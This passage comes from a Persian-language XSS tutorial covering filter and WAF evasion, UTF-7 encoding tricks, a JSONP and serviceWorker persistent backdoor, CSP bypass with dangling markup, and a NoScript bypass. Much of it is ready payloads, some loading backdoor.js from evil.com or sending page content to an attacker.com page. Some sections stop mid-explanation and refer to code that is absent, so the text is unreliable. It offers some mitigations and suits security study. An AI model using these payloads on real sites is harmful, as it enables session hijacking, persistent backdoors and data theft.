3. بخش سمت کاربر XSS Shell که در مرورگر قربانی قرار دارد به بخش سمت سرور XSS Shell درخواست ارسال میکند و منتظر دستورات جدید میماند.4. این XSS Tunnel درون Cache محلی، سرور XSS Shell را برای پاسخ های مربوط به درخواست های قبلی فرستاده شده بررسی میکند. در صورت وجود پاسخ آنها را به پاسخ های معتبر و قابل فهم HTTP تبدیل میکند و به سمت برنامه سمت کاربر ارسال میکند.
پروسه حمله
- راه اندازی سرور XSS Shell
- تنظیم XSS Tunnel برای استفاده از سرور XSS Shell
- انجام حمله XSS
- باز کردن XSS Tunnel و انتظار برای قربانی
- تنظیم ابزار یا مرورگر برای استفاده از XSS Tunnel
- استفاده از مرورگر یا ابزار برای دامنه مورد هدف، در صورت مشاهده قربانی درون XSS Tunnel
مبهم سازی
وجود آسیب پذیری XSS را به طور کلی میتوان با تزریق کردن کد مخرب JavaScript ای دارای تگ script
مانند کد زیر بررسی کرد این سریع ترین روش برای تشخیص چنین آسیب پذیری میباشد:
"><script>alert(1)</script>
اما در بسیاری از اوقات وب سرور ها به وسیله مکانیزم های دفاعی مانند WAF که برای تشخیص آسیب پذیری از امضا ها (Signature) و رجکس ها استفاده میکنند، ورودی های کاربران را فیلتر و یا بلاک میکنند، به این منظور در ادامه به روش های دور زدن این فیلترها میپردازیم.
استفاده از فضای خالی (Whitespace)
همانطور که میدانید HTML فاصله های زیاد را به طور خودکار به تک فاصله تبدیل میکند، بنابرین اگر برای سرور وجود تگ <script>
در ورودی مجاز نباشد این روش به نوعی ظاهر تگ را تغییر داده و فیلتر را دور میزند:
<script >alert(1)</script> <script >alert(1)</script> <img src="java script:al ert(1)">
دو تگ بالا در HTML یکی هستند, (این روش در مرورگر های جدید کار نمیکند). میتوان از Html Encode نیز برای ایجاد تب، خط جدید، Carriage Returns و همچنین غیر قابل تشخیص بودن کلمات کلیدی و توابع استفاده کرد:
<script	>alert(1)</script> <script >alert(1)</script> <script >alert(1)</script> <img src="java	script:al	ert(1)"> <a href="jav
a script:
ale
rt;(1)">Visit google.com</a>
بعضی از فیلترها به دنبال :javascript"
یا :javascript'
هستند و انتظار وجود فاصله بعد از Qoutation ندارند، در نتیجه اضافه کردن هر تعداد فاصله یا متا کارکترها از 1 تا 32 معتبر خواهد بود:
<a href="   javascript:alert(1)">Click this link!</a>
غیر حساس بودن به کوچک یا بزرگ بودن حروف
روش بعدی استفاده از Case Insensetive بودن HTML میباشد:
<ScRipT>alert(1)</sCriPt> <iMg onerror=alert(1) src=a>
در بعضی مواقع برای دور زدن مکانیزم هایی که تگ های خاصی را فیلتر میکنند میتوان از اسم تگ های دلخواه و نا معتبر برای تعریف رویداد ها (Event Handlers) استفاده کرد:
<x onclick=alert(1) scr=a>click here</x>
استفاده از بایت های پوچ (Null Bytes)
روش بعدی استفاده از Null byte می باشد . از آنجا که مفسر جاوا اسکریپت Null byte را به صورت رشته ی پوچ درنظر میگیرد اضافه کردن آن به تگ ها در اجرای کد تاثیری نخواهد داشت و فقط باعث دور زدن فیلتر مربوطه میشود زیرا WAF ها معمولا با زبان C نوشته میشوند و Null byte ها در زبان C با معنی هستند:
<%00script>alert(1)</script> <script>al%00ert(1)</script> <[%00]img onerror=alert(1) src=a> <img onerror=a[%00]lert(1) src=a> <i[%00]mg onerror=alert(1) src=a>
از Null byte ها در هرجای کد موردنظر برای مثال در ویژگی ها یا دیگر تگ های HTML میتوان استفاده کرد.
استفاده از دنباله های Escape
با استفاده از Escape Sequence ها نیز میتوان کارکترهای معنی دار مانند <>
که برای باز و بسته شدن تگ ها به کار برده میشوند را همانند مثال زیر به صورتی دیگر نشان داد:
"%e%3cscript%3ealert(1)%3c/script%3e
استفاده از HTML Encoding
به دلیل اینکه مرورگر قبل از پردازش مقادیر ویژگی ها آنها را HTML Decode میکند، میتوان از HTML Encode برای مبهم سازی استفاده کرد:
<img onerror=alert(1) src=a>
همچنین بهتر است به این نکته توجه داشت که بیشتر مرورگر ها میتوانند انحرافات مختلف در Encoding ها را بپذیرند به طوری که فیلتر هایی که از HTML Encoding با خبر هستند، ممکن است نادیده بگیرند. برای مثال شما میتوانید از فرمت هگزا دسیمال و دسیمال استفاده کنید یا صفر های زائد اضافه کنید و سمی کالن آخر را حذف کنید:
<img onerror=alert(1) src=a> <img onerror=alert(1) src=a> <img onerror=alert(1) src=a> <img onerror=alert(1) src=a> <img onerror=alert(1) src=a> <img onerror=alert(1) src=a>
تغییر و دستکاری تگ ها
اگر فیلترها، کد را اسکن کنند و تگ های خاص مانند تگ script
را از کد حذف کنند، قرار دادن تگ ها در بین خودشان باعث میشود تا بعد از حذف تگ ها، کد باقی مانده معتبر بماند. در مثال زیر کد در سمت سرور Sanitize شده و تگ <script>
از کد پاک میشود:
"><scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>
در نتیجه کد خروجی به صورت زیر در می آید و اجرا میشود:
"><script> document.write("Successful XSS") </script>
روش دیگر استفاده از براکت های اضافی تگ ها میباشد زیرا مرورگر های توانایی اجرای کد های JavaScript با براکت های اضافی را دارند:
<<script>alert(1)//<</script>
تگ script
در کد بالا توسط مرورگر تشخیص داده میشود اما در سمت سرور به دلیل براکت های اضافی فیلتر ها متوجه وجود تگ script
نمیشوند و در نتیجه آن را Sanitize نمیکنند؛ //
برای کامنت کردن بقیه کد برای جلوگیری از ایجاد خطاست. همچنین میتوان از تلاش مرورگر ها برای پردازش و کامل کردن تگ های خراب شده استفاده کرد، مثال زیر تگ a
را بدون ویژگی href
و Qoutation مشاهده میکنید، (از بقیه رویداد ها نیز میتوان استفاده کرد).
<a onmouseover=alert(document.cookie)> google.com</a>
کد زیر نیز مثال دیگری از عمل کامل کردن تگ خراب شده img
در مرورگر را نشان میدهد:
<img """><script>alert("alert(1)")</script>"> <img """><script src=exploit.js></script>">
استفاده از ویژگی (Attribute) ها
از ویژگی (Attribute) در تگ ها نیز میتوان برای اجرای کد استفاده کرد این در صورتی است که نخواهیم از تگ <script>
استفاده کنیم، این ویژگی ها، رویداد (Event) ها در JavaScript میباشند:
" onfocus="alert(1)
همچنین میتوان تگ جدیدی را به همراه ویژگی تزریق کرد. برای مثال:
<img onerror=alert(error) src=a>
در کد بالا در صورت وجود خطا هشداری به ما نمایش داده میشود که این خطا به طور عمد مسیر فایل اشتباه میباشد.
به عنوان نکته آخر در این بخش توجه داشته باشید که حتی اگر در حمله استفاده از ویژگی برای تگ ها نیاز نباشد بهتر است همیشه محتوای اضافی بعد از نام تگ اضافه شود زیرا باعث دور زدن بعضی از فیلتر ها میشود:
<script/anyjunk>alert(1)</script>
استفاده از جدا کننده (Delimiter) ها
روش بعدی استفاده از Delimiter یا جدا کننده ها به صورت هوشمندانه میباشد، به طور معمول HTML از فاصله برای جدا کردن ویژگی (Attribute) ها استفاده میکند، اما از Single Qoutation و Double Qoutation یا Backtick (`) نیز میتوان برای جداسازی ویژگی ها استفاده کرد:
<img onerror="alert(1)"src=a> <img onerror='alert(1)'src=a> <img onerror=`alert(1)`src=a>
گاهی اوقات فیلتر ها در ورودی به دنبال کلمات کلیدی مانند "on"
در ابتدای ویژگی ها، برای پیدا کردن رویداد (Event) های JavaScript میباشند، در مثال زیر استفاده از Double Qoutation به عنوان جدا کننده باعث میشود تا تنها ابتدای ویژگی src
مورد بررسی قرار بگیرد و فیلتر متوجه ویژگی onerror
نشود:
<img src="x"onerror=alert(1)>
بعد از نام تگ ها به جای فاصله میتوان از کارکتر های دیگری مثل /
برای جدا کردن تگ از ویژگی آن استفاده کرد:
<img/onerror=alert(1) src=a> <img/anyjunk/onerror=alert(1) src=a>
برای مثال اگر محدودیت وجود فاصله در ورودی داشته باشیم میتوان روش بالا را با اضافه کردن کارکتر های اضافی بدنبال اسم تگ ترکیب کرد و از کد زیر استفاده کرد، توجه داشته باشید که از هیچ فاصله ای در Payload زیر استفاده نشده:
<img/src="pic.jpg"onload=javascript:eval(alert(1))> <svg/onload=alert('XSS')> <img/onerror="alert(1)"src=a>
استفاده از تابع eval
از تابع eval
نیز برای اجرای کد های JavaScript به طور غیر مستقیم و بدون استفاده از تگ <script>
میتوان استفاده کرد، این تابع یک رشته را به عنوان آرگومان دریافت کرده و آن را بررسی و اجرا میکند. برای مثال نتیجه کد زیر عدد 4 میباشد:
var x=3; var y=1; var res = eval("x + y"); console.log(res);
آرگومان تابع را میتوان برای اطمینان بیشتر از اجرای آن Encode کرد برای مثال:
eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'));
در بالا از تابع atob
برای Decode کردن رشته Encode شده توسط Base64 استفاده شده است، همچنین میتوان آن را به این صورت نوشت:
eval('al\e\rt(1)');
استفاده از Backslash و کارکتر هایی به دنبال آن که در Escape Sequences ها بی معنی هستند کد JavaScript را تغییر نخواهد داد. در صورتی که تابع eval
نیز در لیست سیاه (Blacklist) تعریف شده باشد میتوان با استفاده از متد replace
آن را دور زد:
'alert(1)'.replace(/.+/,eval);
استفاده از UTF-7 Charset
Character Encoding چیست؟مرورگر ها از طریق هدر Content-Type
میدانند که از کدام Encoding کارکتری باید استفاده کنند تا صفر و یک هایی که یک فایل را به کارکتر تبدیل میکند را ترجمه کنند، به همین دلیل متوجه میشوند که این کارکتر a
واقعا یک a
میباشد. در معمول ترین Encoding مورد استفاده در وب اپلیکیشن یعنی UTF-8، نمایش باینری کارکتر a
، به صورت 01100001 میباشد. UTF-8 برای نمایش کارکترها به 8 ، 16 و تا 32 بیت احتیاج دارد بنابراین در نمایش a
به 8 بیت یا 1 بایت نیاز دارد. نمایش کارکترهای موجود در الفبای نابینایان مانند ⠟
کمی سخت تر است و به صورت 11100010 10100000 10011111 در 3 بایت نمایش داده میشود.با این حال همه متون از UTF-8 استفاده نمیکنند، تا 2007، ASCII معمول ترین Encoding مورد استفاده در صفحات وب به شمار میرفت، بعد از آن UTF-8 از آن پیشی گرفت. ASCII تنها از 7 بیت برای نمایش یک کارکتر استفاده میکند که امکان ایجاد 128 ترکیب مختلف در آن وجود دارد. نکته مهم تر این است که ASCII زیر مجموعه UTF-8 میباشد بنابراین نمایش ASCII کارکتر a
دقیقا شبیه نمایش آن در UTF-8 میباشد با این تفاوت که UTF-8 هفت بیت قبل را با صفر پر میکند. UTF-7 که شبیه ASCII از 7 بیت استفاده میکند برای استفاده در ایمیل طراحی شد. 7 بیت زیاد نیست و برای استفاده کارکترهای بیشتر از 128 تکنیکی به نام Shifted Encoding استفاده میشود. این یعنی چند کارکتری که با استفاده از 7 بیت قابل نمایش هستند معنی خاصی دارند، برای مثال کلمه فنلاندی Tämä
به صورت مستقیم با UTF-7 قابل نمایش نیست چون دنباله بیتی متناظر با کارکتر ä
ندارد، برای حل این مشکل ä
به صورت -AOQ+
نوشته میشود که در نتیجه کلمه Tämä
به -T+AOQ-m+AOQ
تبدیل میشود. همانطور که میبینید کارکتر +
تکنیک Shifted Encoding را فعال میسازد و کارکتر -
آن را غیر فعال میکند.در نتیجه این تکنیک باعث میشود تا بتوان UTF-7 را به گونه ای استفاده کرد که در حملات XSS موثر باشد.
طراحی Payload های XSS با استفاده از UTF-7 Charset
با استفاده از تکنیک Shifted Encoding ، کارکتر های <
و >
میتوانند به صورت های -AD4+
و -ADw+
نمایش داده شوند، بنابراین <script>alert()</script>
به صورت زیر در می آید:
+ADw-script+AD4- alert()+ADw-/script+AD4-
در نتیجه به دلیل اینکه Payload بالا در UTF-8 دارای کارکتر خطرناک نیست، Sanitize و Escape نمیشود زیرا توابع Sanitize مانند htmlentities
در PHP از UTF-8 به عنوان Encoding پیش فرض استفاده میکنند. بنابراین اگر مرورگر را برای استفاده از UTF-7 تنظیم کنیم، زمانی که صفحه لود میشود Payload بالا در ورودی به صورت <script>alert()</script>
پردازش و اجرا میشود.
اکثر مرورگر های جدید به جز Internet Explorer 11 از UTF-7 پشتیبانی نمیکنند. در ادامه روش هایی را بیان میکنیم که به مرورگر بفهمانیم تا از UTF-7 برای پردازش صفحه استفاده کند:
1.استفاده از Byte Order Marker
بعضی وقت ها Byte Order Mark (BOM) در ابتدای صفحه، میباشد و از آن برای مشخص کردن Encoding و نوع Endian آن استفاده میشود، بنابراین اگر دیدید BOM ای در صفحه برای XSS استفاده شده، بدانید کار نمیکند زیرا مرورگر های برای استفاده از UTF-7 فریب نمیخورند.
2.استفاده از هدر Content-Type
Content-Type: text/html; charset=utf-8
همانند BOM، هدر Content-Type
نیز با استفاده از XSS قابل تغییر نیست.3.استفاده از تگ Meta
بر اساس استاندارد HTML5، عنصری که مشخص کننده نوع Encoding کارکتر است باید در 1024 بایت اول صفحه تعریف شده باشد. (در مرورگر های Mozilla باید در 512 بایت اول تعریف شده باشد). بنابراین تگ meta
در هدر صفحه ترجیحا قبل از عنصر title
به صورت زیر تعریف میشود:
<meta charset="utf-7">
در نتیجه اگر صفحه ورودی کاربر را به گونه ای برگرداند که مهاجم بتواند ویژگی charset
در تگ meta
را تغییر دهد، حمله XSS امکان پذیر خواهد بود.4.استفاده از الگوریتم تشخیص مرورگر
زمانی که نوع انگودینگ نه در تگ Meta
و نه در هدر Content-Type
مشخص نشده باشد، مرورگر تلاش میکند تا خودش نوع Encoding را تشخیص دهد، برای مثال به کد زیر توجه کنید:
+ADw-p+AD4-Welcome to UTF-7!+ADw-+AC8-p+AD4- +ADw-script+AD4-alert(+ACc-utf-7!+ACc-)+ADw-+AC8-script+AD4-
کد بالا از رشته ای است که با تکنیک Shifted Encoding طراحی شده تا به مرورگر نوع Encoding خود یعنی UTF-7 را بفهماند، این کد به صورت UTF-8 به صورت زیر است:
<p>Welcome to UTF-7!</p> <script>alert('utf-7!')</script>
در نتیجه اگر Encoding جایی مشخص نشده باشد و ورودی کاربر در صفحه برگردانده شود، بدون اینکه تگ meta
دستکاری شود، مرورگر IE8 میتواند به این نوع حمله آسیب پذیر باشد.
تکنیک های دور زدن مکانیزم های دفاعی
دور زدن SOP با استفاده از JSONP
AJAX چیست؟
AJAX مخفف Asynchronous JavaScript And XML میباشد. این تکنولوژی به طور گسترده در وبسایت ها استفاده میشود و یک زبان برنامه نویسی نیست و از ترکیب دو خاصیت زیر یهره میگیرد:
- آبجکت
XMLHttpRequest
در مرورگر (سمت کاربر) برای برقراری ارتباط با وب سرور - JavaScript و ساختار DOM در HTML برای نمایش و استفاده از داده ها
این تکنولوژی این این امکان را فراهم میکند که :
- صفحه وبی را به روزرسانی کرد بدون اینکه آن صفحه از اول بارگزاری شود.
- بعد از بارگزاری صفحه به وب سرور درخواست ارسال کرد.
- بعد از بارگزاری صفحه از سمت سرور داده دریافت و خوانده شود.
- در پس زمینه به سرور داده ارسال شود.
اما در این تکنولوژی امکان ارتباط با دامنه های متقابل به دلایل امنیتی فراهم نشده، JavaScript Object Notation with Padding (JSONP) راهی برای دریافت داده به شکل JSON از دامنه های خارجی میباشد.
SOP چیست؟
SOP مخفف Same Origin Policy میباشد. این مکانیزم، مفهومی در زبان های برنامه نویسی سمت مرورگر مانند JavaScript است که اجازه دسترسی به منابع موجود در در همان دامنه را میدهد و از دسترسی به منابع دامنه های دیگر جلوگیری میکند. در ادامه یکی از روش های دور زدن این مکانیزم دفاعی یعنی استفاده از JSONP را بررسی میکنیم.
JSONP چگونه کار میکند؟
مفهوم JSONP یا به صورت دقیق تر Json with Padding روشی برای ارسال داده های JSON به صورت بین سایتی است. در این روش در مورد محدودیتهای اشتراک منابع به صورت بین سایتی (Same Origin Policy) نگرانی نداریم. چون JSONP از XMLHttpRequest
استفاده نمیکند. همانطور که میدانید مکانیزم SOP اجازه نمیدهد اسکریپتی که از دامنه A بارگزاری شده، ویژگی های موجود در صفحه بارگزاری شده در دامنه B را تغییر دهد و به داده های موجود در آن دسترسی داشته باشد. مرورگر از این مکانیزم استفاده میکند تا از تغییرات مخرب در صفحات جلوگیری کند و محتوای وبسایت هارا از دامنه های دیگر مجزا کند.با این حال این مکانیزم از اضافه کردن عناصر script
به صفحه و دریافت داده از دامنه دیگر، جلوگیری نمیکند. بنابراین کد زیر با ارسال درخواست GET
به آدرس مشخص شده در مقدار src
، کد های JavaScript را دریافت میکند:
<script src="example.com/static/JavaScriptLib.js">
بعد از ارسال درخواست GET
، داریم:
mycallback = function(data){ console.log(data) };
فرض کنید با درخواست GET
به آدرس https://www.exampleuri.com/data
داده ی JSON شبیه زیر دریافت میکنیم:
{name: "John", numberOfPosts:12, numberOfLikes:61}
حالا فرض کنید قابلیت JSONP در سمت سرور فعال است، یعنی اگر درخواست GET
ای به دامنه زیر ارسال شود :
https://www.exampleuri.com/data?callback=mycallback
پاسخی شبیه زیر دریافت میشود:
mycallback({name: "John", numberOfPosts:12, numberOfLikes:61});
این یعنی اگر کد موجود در Front End چیزی شبیه زیر باشد:
<script src=https://www.exampleuri.com/data?callback=mycallback></script>
بعد از ارسال درخواست GET
، داریم:
استفاده از این سرویس برای اهداف خطرناک
از ServiceWorkers برای برگرداندن محتوای دلخواه در Cache میتوان استفاده کرد، برای مثال:
this.addEventListener('fetch', function (event) { event.respondWith(new Response(" <h1> Intercepted!</h1> ")); });
اما این امکان وجود دارد تا منبعی را دریافت کنید و نسخه تغییر یافته از آن محتوا را برگردانید:
<html> <body> ..... <script src="https://attacker.com/backdoor.js</script> //---- Parse and inject arbitrary script here without the user knowing </body> </html>
در کد بالا میتوان اسکریپت دلخواه را در آخر هر درخواست تزریق کرد بدون اینک کاربر از آن مطلع شود. در نتیجه تمام منابع از لایه Cache شده بدون اینکه متوجه باشند عبور خواهند کرد. در ادامه به بررسی نحوه استفاده از JSONP، تکنولوژی serviceWorkers و آسیب پذیری XSS برای ایجاد یک در پشتی (Backdoor) مداوم برروی یک وبسایت میپردازیم. باید این نکته را در نظر گرفت که serviceWorkers فقط از منابعی که برروی همان دامنه قرار دارند نصب میشود. یعنی برای نصب یک serviceWorker روی سایت example.com
باید آن را به صورت زیر ثبت (Register) کنیم:
if ('serviceWorker' in navigator) { navigator.serviceWorker.register('https://example.com/sw.js') then(function(reg) { console.log('Registration succeeded.Scope is ' + reg.scope); }) catch(function(error) { console.log('Registration failed with ' + error); }); }
این کار به مرورگر میفهماند که فایل های جاوا اسکریپت serviceWorker در Root یا ریشه دامنه مشخص شده قرار دارند. در نتیجه scope
یا محدوده serviceWorker، کل دامنه میباشد. با استفاده از Endpoint های JSONP که امن سازی نشده اند میتوان این مشکل را حل کرد. چون JSONP ، پارامتری دریافت میکند (در اینجا پارامتر callback
) که این پارامتر در کد JavaScript جایگزاری میشود.
برای مثال فرض کنید درخواستی به این صورت داریم:
/jsonp?callback=myFunction
که پاسخی شبیه زیر بر میگرداند:
var data = { "hello": 1 }; myFunction(1);
اگر ورودی JSONP امن سازی نشده باشد میتوان JavaScript دلخواه برگرداند به این صورت که کدی طراحی شود که برای دریافت پاسخ منتظر میماند و بعد از آن کد مخرب زیر را به هر درخواست اضافه میکند :
<script src="attacker.com/backdoor.js">
در نتیجه Payload نهایی چیزی به صورت زیر است:
<script> navigator.serviceWorker.register("/jsonp?callback=onfetch=function(e){ if(!(e.request.url.indexOf('/')>0)) e.respondWith(new Response('<script src=\'http://evil.com/backdoor.js\' type=\'text/javascript\'><\/script>',{headers:{'Content-Type':'text/html'}})) else e.fetch(e.request)}//"); </script>
نحوه اجرای این حمله
ابتدا باید Payload نهایی با هدف دلخواه (مثلا دزدیدن ایمیل ها یا نظارت بر حساب های بانکی) را طراحی کرد و سپس آن را با JSONP تلفیق کرد.
بعد از آن Payload را با استفاده از حمله XSS باید بر روی وبسایت آسیب پذیر تزریق کرد.
راه های کاهش (Mitigations)
- ورودی های Endpoint های JSONP (Callback ها) را امن سازی کنید تا فقط پذیرای حروف الفبا یا نقطه و خط فاصله باشند.
- آسیب پذیری XSS را در وبسایت فیکس کنید و از امن سازی ورودی ها، Encode کردن خروجی ها استفاده کنید.
- از Content Security Policy استفاده کنید.
این تکنیک صرفا برای مداوم بودن اثرات حمله و دریافت اطلاعات طراحی شده است.
دور زدن CSP
CSP چیست؟
Content Security Policy یا CSP یک تکنولوژی ساخته شده برای مرورگر است که کمک میکند تا از XSS در امان باشیم، این تکنولوژی با تعریف لیستی از مسیرها و منابع مشخص میکند که مرورگر میتواند از کجا ها به صورت امن منبع شامل عکس ها، JavaScript و غیره … بارگزاری کند. CSP در هدر های پاسخ HTTP یا عنصر <code>Meta</code> در صفحه HTML تعریف میشود و مرورگر از سیاست های تعریف شده در آن پیروی میکند و در صورت مشاهده چیزی خلاف سیاست ها، آن را بلاک میکند.
از هدر های Content-Security-Policy
و Content-Security-Policy-Report-Only
در پاسخ HTTP استفاده میشود، اما هدر Content-Security-Policy-Report-Only
چیزی را بلاک نمیکند و فقط گزارش میفرستد. در ادامه مثالی را مشاهده میکنید که این مکانیزم اجازه بارگزاری منابع از دامنه خودش (self
) را میدهد.
در هدر Content Security Policy
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
در تگ Meta
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'> <param name="AllowScriptAccess" value="always"></object>
با تزریق کد بالا در صفحه آسیب پذیر، مقدار ویژگی name
صفحه مهاجم که لینک آن در تگ a
قرار گرفته برابر محتوای صفحه قرار میگیرد چون بعد از تگ a
، از تگ base
و ویژگی target
آن استفاده شده است.
کد زیر، کد موجود در صفحه ی کنترل شده توسط مهاجم یعنی name.html
میباشد که لینک آن توسط قربانی کلیک میشود.
<script>alert("The extracted content is:" + name);</script>
همانطور که میبینید مهاجم میتواند با خواندن ویژگی name
صفحه خودش، اطلاعات استخراج شده را مشاهده کند.
راه های کاهش این تکنیک (Mitigations)
اگر توسعه دهنده درون صفحه تگ base
خودش را قبل از تزریق مهاجم اضافه کرده باشد، این تگ از اجازه نمیدهد تا تگ base
دومی، ویژگی target
را بازنویسی کند:
<base target="_self" />
استفاده از این تکنیک بدون تگ base
برای دور زدن XSS Auditor و CSP و به هم زدن Mitigation ای که گفته شد بدون استفاده از تگ base
باید تگ form
ای با ویژگی target
بدون ویژگی action
تزریق کرد:
<input name=x type=hidden form=x value="<a href=http://attacker.com/dangling_markup/name.html><font size=100 color=red>You must click me</font></a>"><button form=x><font size=100 color=red>Click me</font></button><form id=x target="blah
وقتی فرم ارسال بشود مقادیر موجود در ویژگی value
که همان لینک سایت مهاجم میباشد دوباره به همان صفحه ارسال میشود.
با کلیک برروی دکمه Click me
که اول ظاهر میشود دوباره همان صفحه باز میشود اما این بار حاوی محتوای موجود در ویژگی value
در تگ فرم است،
در نهایت با کلیکی دیگر برروی لینک با عنوان You must click me
به سایت مهاجم هدایت میشوید. در حقیقت کلیک اول نام window
را برابر مقدار ویژگی target
بسته نشده قرار میدهد، با کلیک دوم شما داده های استخراج شده از صفحه را با استفاده از ویژگی window.name
همانند سناریو قبل در سایت مهاجم مشاهده میکنید. پس دو کلیک به جای یک کلیک لازم است.
دور زدن NoScript Extention
این Extention، یک add-on امنیتی قدرتمند در Firefox ، Seamonkey و بقیه مرورگر های Mozilla میباشد. وظیفه اصلی آن این است که JavaScript ، جاوا ، Flash و بقیه پلاگین هایی که کد های نا امن برروی مرورگر کاربر اجرا میکنند را بلاک کند و تنها اجازه اجرای کد به سایت های مورد اعتماد موجود در لیست سفید (Whitelist) را میدهد.
یکی از روش هایی که میتواند در دور زدن این مکانیزم امنیتی به ما کمک کند، کشف و اکسپلویت آسیب پذیری XSS در دامنه های موجود در لیست سفید میباشد.
زیرا دامنه های موجود در لیست سفید اجازه اجرای JavaScript بر روی مرورگر کاربر را دارند.
روش بعدی بر گرفته از مقاله منتشر شده از محقق garethheyes در وبسایت PortSwigger میباشد که در حال حاضر این روش Patch شده و کار نمیکند.
این Extension فقط اجازه ی فراخوانی توابعی که توسط کاربر تعریف شده اند مانند تابع ()a
را میدهد بنابراین کد ',a(1),'
بدون مشکل اجرا میشود. این روش قابل بهره برداری نیست زیرا در صفحه باید تابعی تعریف شده باشد که با استفاده از آرگومان ورودی خود کار خطرناکی انجام دهد. این عملکرد باعث شد تا به دنبال توابع و متد هایی که ممکن است فراموش شده باشند بگردیم.
متد __defineSetter__
این متد، ویژگی و متغیر مشخص شده در آرگومان اول خودش را به عنوان آرگومان به تابع مشخص شده در آرگومان دوم خودش انتقال میدهد. از آنجایی که window
نیز یک نوع آبجکت میباشد میتوان این متد را برای آبجکت window
نیز صدا زد، حتی میتوان اسم آبجکت window
را هم به کار نبرد.
<script>x = '',__defineSetter__('x',alert),x=1,'';</script>
کد مخرب بالا که درون تگ های script
قرار گرفته با استفاده از متد __defineSetter__
متغیر x
را به تابع alert
پاس میدهد و در آخر مقدار متغیر x
برابر 1 قرار میگیرد، در نتیجه کد بالا اجرا شده و پنجره alert
با مقدار 1 نمایش داده میشود و به این ترتیب فیلتر XSS برای Noscript را دور میزند.
برای اجرای کد دلخواه میتوان به جای alert
از تابع eval
استفاده کرد و متغیری مانند name
را به آن انتقال داد. استفاده از name
باعث میشود تا بتوان Payload هارا از طریق ویژگی window.name
بین دامنه ها ارسال کرد. معمولا از ویژگی name
تگ iframe
که مقدار آن برابر Payload است استفاده میشود و سپس از طریق استفاده از ویژگی name
در سایت آسیب پذیر از آن Payload دوباره استفاده میشود.
<iframe name=alert(1) src="//somedomain?x=',defineSetter('x',eval),x=name,'"></iframe>